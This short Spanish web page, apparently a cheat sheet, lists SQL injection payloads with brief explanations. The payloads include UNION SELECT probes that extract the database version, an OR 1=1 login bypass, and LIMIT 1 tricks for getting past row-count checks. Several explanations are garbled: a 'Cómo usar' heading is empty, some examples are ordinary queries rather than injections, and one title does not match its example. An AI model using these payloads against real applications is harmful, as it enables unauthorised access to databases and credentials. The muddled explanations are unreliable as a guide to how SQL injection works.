Ir al contenido
Ejemplos de inyecciones SQL (Bases de datos)
1. Sintaxis de unión (UNION SELECT)
- Ejemplo:’1234′ UNION SELECT VERSION() —
- Función: Obtiene la versión de la base de datos.
- Cómo usar:
-- es un comentario en SQL, ignorado por el motor.
2. OR 1=1 para bypass autenticación
- Ejemplo:user LIKE ‘juan’ OR 1=1 AND pass LIKE ‘%test%’
- Función: Bypass la autenticación al usar
OR 1=1 (si el sistema usa LIKE para verificación de credenciales).
3. LIKE con wildcards
- Ejemplo:user LIKE ‘%juan%’ AND pass LIKE ‘%test%’
- Función: Busca usuarios o contraseñas con patrones (ej:
juan o test).
4. Funciones de base de datos
- Ejemplo:SELECT DATABASE() SELECT USER()
- Función: Obtiene información sobre la base de datos o el usuario.
5. LIMIT 1 para bypass checks
- Ejemplo:SELECT * FROM usuarios LIMIT 1
- Función: Bypass checks de conteo de filas (ej:
LIMIT 1).
6. Sintaxis de unión con operadores lógicos
- Ejemplo:’1234′ UNION SELECT 1, 2, 3 —
- Función: Ejecuta una consulta de prueba para verificar si la inyección funciona.